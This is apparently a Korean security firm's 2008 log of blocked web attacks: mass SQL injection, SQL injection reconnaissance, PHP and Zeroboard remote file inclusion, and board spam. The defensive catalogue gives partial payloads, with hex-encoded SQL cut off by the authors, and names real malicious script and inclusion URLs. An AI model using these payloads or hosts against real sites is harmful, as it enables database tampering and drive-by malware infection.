

## Windows Mass SQL Injection 2008-020101

공격 유형	Mass SQL Injection
공격 방식	Cookie 값을 변조하여 변수 값에 공격 코드 삽입 및 실행
유입 경로	Cookie
공격 코드	<pre>dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C4 15245204054205641524348415228323535292C4043205641524348415 22832353529204445434C415245205461626C655F437572736F7220435 552534F5220464F522053454C45435420612E6E616D652C622E6E616D6 52046524F4D207379736F626A6563747320612C737973636F6C756D6E7 3206220574845524520612E69643D622E696420414E4420612E7874797</pre> <p style="text-align: center;">-----이하 삭제-----</p>
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒤에 '<script src=http://s.cawjb.com/s.js> </script>'가 덧붙여 삽입됨
업데이트 유무	차단 완료

## Windows SQL Injection 2008-022105

공격 유형	SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	%20%20and%20exists  -----이하 삭제-----
공격 증상	sysobjects 테이블의 데이터를 조회하여 이후 Mass SQL Injection 이나 기타 웹 해킹 등에 사용함
업데이트 유무	차단 완료

## Windows SQL Injection 2008-110106

공격 유형	SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	<pre>%20And%20(Select%20Top%201%20cast(name%20as%20nvarchar( -----이하 삭제-----</pre>
공격 증상	sysobjects 테이블의 데이터를 조회하여 이후 Mass SQL Injection 이나 기타 웹 해킹 등에 사용함
업데이트 유무	차단 완료

## Windows SQL Injection 2008-110201

공격 유형	SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	or+(Select++cast(max(dbid)+as+nvarchar(1111))%2bchar(124)%2bchar( -----이하 삭제-----
공격 증상	sysdatabases 테이블의 데이터를 조회하여 이후 Mass SQL Injection 이나 기타 웹 해킹 등에 사용함
업데이트 유무	차단 완료

## Windows Mass SQL Injection 2008-020112

공격 유형	Mass SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	<pre>dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20t AbLe_cursor%20cUrSoR%20FoR%20sEIeCt%20a.Name,b.Name%20FrO m%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20 AnD%20a.xTyPe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%  -----이하 삭제-----</pre>
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src=http://www.chliyi.com/m.js> </script>'로 치환됨
업데이트 유무	차단 완료

## Windows SQL Injection 2008-150703

공격 유형	SQL Injection
공격 방식	HEAD 값을 변조하여 공격 코드 실행
유입 경로	HEAD
공격 코드	create%20tab  -----이하 삭제-----
공격 증상	공격이 성공하였을 경우, 해당 DB에 t_jiaozhu라는 테이블이 생성됨.
업데이트 유무	를 업데이트 완료

## Windows Mass SQL Injection 2008-020125

<b>공격 유형</b>	Mass SQL Injection
<b>공격 방식</b>	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
<b>유입 경로</b>	GET(Querystring)
<b>공격 코드</b>	<pre> DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524 5204054207661726368617228323535292C40432076617263686172283 2353529204445434C415245205461626C655F437572736F72204355525 34F5220464F522073656C65637420612E6E616D652C622E6E616D65206 6726F6D207379736F626A6563747320612C737973636F6C756D6E73206 220776865726520612E69643D622E696420616E6420612E78747970653 D27752720616E642028622E78747970653D3939206F7220622E7874797 </pre> <p style="text-align: center;">-----이하 삭제-----</p>
<b>공격 증상</b>	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src="http://js.users.51.la/1981162.js"></script>'로 치환됨
<b>업데이트 유무</b>	차단 완료

## Windows Mass SQL Injection 2008-020127

공격 유형	Mass SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	<pre> DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41 5245204054205641524348415228323535292C40432056415243484152 2832353529204445434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D652C622E6E616D65 2046524F4D207379736F626A6563747320612C737973636F6C756D6E73  -----이하 삭제----- </pre>
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src=http://www.mainbvd.com/ngg.js> </script>'로 치환됨
업데이트 유무	차단 완료

## Windows Mass SQL Injection 2008-020127

공격 유형	Mass SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	<pre> DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41 5245204054205641524348415228323535292C40432056415243484152 2832353529204445434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D652C622E6E616D65 2046524F4D207379736F626A6563747320612C737973636F6C756D6E73 206220574845524520612E69643D622E696420414E4420612E78747970  -----이하 삭제----- </pre>
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src=http://www.stiwdd.com/ngg.js> </script>'로 치환됨
업데이트 유무	차단 완료

## Windows SQL Injection 2008-110516

공격 유형	SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	and%20char(124)%  -----이하 삭제-----
공격 증상	Mass SQL Injection 공격이 가능한지 여부 확인
업데이트 유무	차단 완료

## Windows Mass SQL Injection 2008-020130

공격 유형	Mass SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	<pre> DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41 5245204054205641524348415228323535292C40432056415243484152 2832353529204445434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D652C622E6E616D65 2046524F4D207379736F626A6563747320612C737973636F6C756D6E73 206220574845524520612E69643D622E696420414E4420612E78747970  -----이하 삭제----- </pre>
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src= http://www.usaadp.com/ngg.js> </script>'로 치환됨
업데이트 유무	차단 완료

## Windows Mass SQL Injection 2008-020131

공격 유형	Mass SQL Injection
공격 방식	URL을 변조하여 변수 값 뒤에 공격 코드 삽입 및 실행
유입 경로	GET(Querystring)
공격 코드	DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73  -----이하 삭제-----
공격 증상	데이터 형식이 varchar로 설정되어 있는 컬럼의 모든 데이터 값 뒷부분이 '<script src=http://www.porttw.mobi/ngg.js> </script>'로 치환됨
업데이트 유무	차단 완료

## Linux CGI Spam Approach 2008-392131

<b>공격 유형</b>	CGI Spam
<b>공격 방식</b>	외부경로에서 CGI 게시판에 스팸광고글을 작성하는 코드를 삽입하여 접근
<b>유입 경로</b>	POST
<b>공격 코드</b>	<pre>board=board&amp;back=&amp;x_number=1225413773&amp;guest_name=Neophytos&amp;guest_mail=AlekosBolikot70%40gmail.com&amp;headicon=bitimg14.gif&amp;guest_text=YUCdjUVCYjQVMACaW&amp;guest_text2=2d777%2C+%3Ca+href%3D%22http%3A%2F%2Fanywhere.servik.com%2Fmercedes905.html%22%3Emercedes%3C%2Fa%3E%2C+%3Ca+href%3D%22http%3A%2F%2Fanywhere.977mb.com%2Fmercedes06c.html%22%3Emercedes%3C%2Fa%3E%2C+%3Ca+href%3D%22http%3A%2F%2Fmembers.lycos.nl%</pre> <p style="text-align: center;">-----이하 삭제-----</p>
<b>공격 증상</b>	CGI 를 사용하는 게시판에 코드에 삽입한 내용의 글이 자동으로 등록 이됨.
<b>업데이트 유무</b>	차단 완료

## Linux PHP Injection 2008-092152

공격 유형	Php injection - File including attack
공격 방식	Php의 Fopen() 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	/board/download  -----이하 삭제-----
공격 증상	코드 내부에있는 경로의 http://halloweenbaby.iespana.es/index.htm 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux Zeroboard Vulnerability 2008-104824

공격 유형	Zeroboard 취약점 - File including attack
공격 방식	Zeroboard 구버전의 보안 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	/bbs//skin/zero_vote/error.  -----이하 삭제-----
공격 증상	코드 내부에있는 경로의 http://220.134.244.157/xoops/templates_c/id3.txt 파일이 서버에서 작동이 됨
업데이트 유무	차단 완료

## Linux CGI Spam Approach 2008-322779

공격 유형	CGI Spam
공격 방식	외부경로에서 CGI 게시판에 스팸광고글을 작성하는 코드를 삽입하여 접근
유입 경로	POST
공격 코드	<pre>command=write%5faction&amp;board=board&amp;scnmod=&amp;txtalign=&amp;answer=1209016379&amp;title=Re%2e%2e&amp;name=Heruki+Otsasori&amp;mail=asd%2dpopa%40gmail%2ecom&amp;USE%5fHTM=&amp;comment=Google+should+pay+more+attention+to+producer%27s+%2c+%3ca+href%3d%22http%3a%2f%2fanyfind%2eseitenclique%2enet%2fof778%2html%22%3eof%3c%2fa%3e%2c++26570%2c+%3ca+href%3d%22http%3a%2f%2fanyfind%2et35%2ecom%2fof6c5%2html%22%3eof%3c%2fa%3e%2c</pre> <p style="text-align: center;">-----이하 삭제-----</p>
공격 증상	CGI 를 사용하는 게시판에 코드에 삽입한 내용의 글이 자동으로 등록 이됨.
업데이트 유무	차단 완료

## Linux PHP Injection 2008-095257

공격 유형	Php injection - File including attack
공격 방식	Php의 Fopen() 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	<pre>/kboard/user/kboard_display_main.php?abstraction=&amp;mode=view&amp;num=98&amp;gasi_code=question&amp;key1=&amp;key2=/kboard/kboard.php?board  -----이하 삭제-----</pre>
공격 증상	코드 내부에있는 경로의 <a href="http://www.irononforge.com/McN/readme.txt">http://www.irononforge.com/McN/readme.txt</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux Technote Vulnerability 2008-104824

공격 유형	Technote 취약점 - Spam mail 발송
공격 방식	Technote 게시판의 보안 취약점을 이용하여 메일코드를 직접 입력하여 접속함
유입 경로	GET(Querystring)
공격 코드	/technote/main.cgi?  -----이하 삭제-----
공격 증상	원하는 스팸메일을 대량으로 발송가능
업데이트 유무	차단 완료

## Linux Zeroboard Vulnerability 2008-106265

공격 유형	Zeroboard 취약점 - File including attack
공격 방식	Zeroboard 구버전의 보안 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	<pre>/zero/zboard.php?id=qna2//  -----이하 삭제-----</pre>
공격 증상	코드 내부에있는 경로의 <a href="http://www.helpvenice.com/id.txt">http://www.helpvenice.com/id.txt</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux Zeroboard Vulnerability 2008-106266

공격 유형	Zeroboard 취약점 - File including attack
공격 방식	Zeroboard 구버전의 보안 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	/zero//include/print_category.  -----이하 삭제-----
공격 증상	코드 내부에있는 경로의 <a href="http://www.euroluxhotel.ru/assets/images/idoke.txt">http://www.euroluxhotel.ru/assets/images/idoke.txt</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux PHP Spam 2008-095682

<b>공격 유형</b>	Php Spam
<b>공격 방식</b>	외부경로에서 PHP 게시판에 스팸광고글을 작성하는 코드를 삽입하여 접근
<b>유입 경로</b>	POST
<b>공격 코드</b>	<pre>listpg=16&amp;table_no=3753&amp;table_name=board&amp;name=vexwtyv&amp;password=uplfcqd&amp;email=vexwtyvwbi%40gmail.com&amp;subject=Re%3A+red+hot+chili+pepper+ringtone&amp;content=%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fcouplenlqhard%2Frpvyx%2Fsex-offenders-in-ma.htm%22%3Esex+offenders+in+ma%3C%2Fa%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fcouplerwqteeny%2Fbiqfa%2Fclip-free-sex-streaming-video.htm%22%3Eclip+free+sex+streaming+video%3C%2Fa%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fyoungfkteen%2Fmniw%2Fsolid-body-silicone-sex-dolls.htm%22%3Esolid+body+silicone+sex+dolls%3C%2Fa%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2Fwww.geocities.com%2Fcoupletekteen%2Fxpzdn%2Funfaithfull-wives- -----이하 삭제-----</pre>
<b>공격 증상</b>	외부경로에서 php 게시판에 스팸광고글을 작성하는 코드를 삽입하여 접근
<b>업데이트 유무</b>	차단 완료

## Linux PHP Injection 2008-095910

공격 유형	Php injection - File including attack
공격 방식	Php의 Fopen() 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	<pre>/dboard/kboard.php?board=best&amp;act  -----이하 삭제-----</pre>
공격 증상	코드 내부에있는 경로의 <a href="http://83.233.165.160/mirror/apachsafe.gif">http://83.233.165.160/mirror/apachsafe.gif</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux PHP Injection 2008-098572

공격 유형	Php injection - File including attack
공격 방식	Php의 Fopen() 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	//?installed_config_file=http://  -----이하 삭제-----
공격 증상	코드 내부에있는 경로의 http://ingenieria.unilibrecali.edu.co/bot.txt 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux Zeroboard Vulnerability 2008-105829

공격 유형	Zeroboard 취약점 - File including attack
공격 방식	Zeroboard 구버전의 보안 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	<pre>/bbs/zboard.php?id=from_j&amp;no=29%20//skin/zero_vote/login.php?dir= -----이하 삭제-----</pre>
공격 증상	코드 내부에있는 경로의 <a href="http://vn-art.com/components/com_joomfish/includes/idperkosa.txt">http://vn-art.com/components/com_joomfish/includes/idperkosa.txt</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료

## Linux PHP Injection 2008-092841

공격 유형	Php injection - File including attack
공격 방식	Php의 Fopen() 취약점을 이용하여 외부경로의 해킹파일을 서버에서 실행
유입 경로	GET(Querystring)
공격 코드	<pre>/bbshop/shop/index.php?page=view_class*class_id=88%22%20class=%22neww%22%20target=%22_blank%  -----이하 삭제-----</pre>
공격 증상	코드 내부에있는 경로의 <a href="http://marista.or.kr/bbs/data/data/id2.txt">http://marista.or.kr/bbs/data/data/id2.txt</a> 파일이 서버에서 작동이됨
업데이트 유무	차단 완료